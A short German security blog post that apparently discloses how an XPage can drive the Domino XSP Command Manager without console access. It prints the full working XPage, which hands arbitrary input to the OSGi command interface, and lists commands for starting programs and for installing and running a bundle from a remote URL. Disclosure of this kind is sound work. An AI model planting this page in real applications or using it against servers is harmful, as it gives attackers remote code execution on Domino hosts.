Security: Domino Server Backdoor (2)

Aus einer XPages-Applikation lässt sich der XSP Command Manager (das zugrundeliegende OSGi Framework) fernsteuern. Das Kommando entspricht dem Befehl

tell http xsp <BEFEHL>

auf der Domino Serverkonsole, nur dass hierfür kein Serverkonsolenzugriff benötigt wird.

Mit Hilfe der folgenden XPage lassen sich beliebige OSGi-Kommandos absetzen, also z.B. Prozesse starten, Bundles installieren (egal von welcher Quelle, auch aus dem Internet) und vieles mehr.

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">
   <xp:button value="Send XSP Command" id="button2">
      <xp:eventHandler
         event="onclick"
         submit="true"
         refreshMode="complete">
         <xp:this.action><![CDATA[#{javascript:
            var cmd = getComponent("inputTextXSPCmd").value;
            if( cmd == null || cmd == "")
               return;
            var xcm = com.ibm.domino.xsp.bridge.http.engine.XspCmdManager.getInstance();
            xcm.tell( cmd );}]]>
         </xp:this.action>
      </xp:eventHandler>
   </xp:button>
   <xp:inputText id="inputTextXSPCmd" />
</xp:view>

Die Seite sieht wie folgt aus:

Beim Klicken auf „Send XSP Command“ kann man das Ergebnis auf der Serverkonsole sehen:

Hier ein kleiner Auszug über mögliche Kommandos:

  • exec <PROGNAME> startet ein beliebiges Programm
  • fork <PROGNAME> startet ein beliebiges Programm in einem eigenen Thread
  • install http://example.com/osgi-bundle.jar start installiert ein OSGi-Bundle von der angegebenen Adresse
  • init stoppt das gesamte Framework
  • ss listet alle Bundles auf
  • help zeigt alle möglichen Befehle an.

Auch Heap-, System, und Java-Dumps lassen sich hierdurch erstellen.

Dieser Beitrag wurde unter Allgemein, Security, Server, XPages abgelegt und mit , , , , , verschlagwortet. Setze ein Lesezeichen auf den Permalink.

Ein Kommentar zu Security: Domino Server Backdoor (2)

  1. If you can open PMRs, it would be better for development as they are not always likely to see Blog posts. Or post in the Developerworks forum if you can’t open PMRs.

    I have passed your link onto XPages dev to review. Thanks.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.


*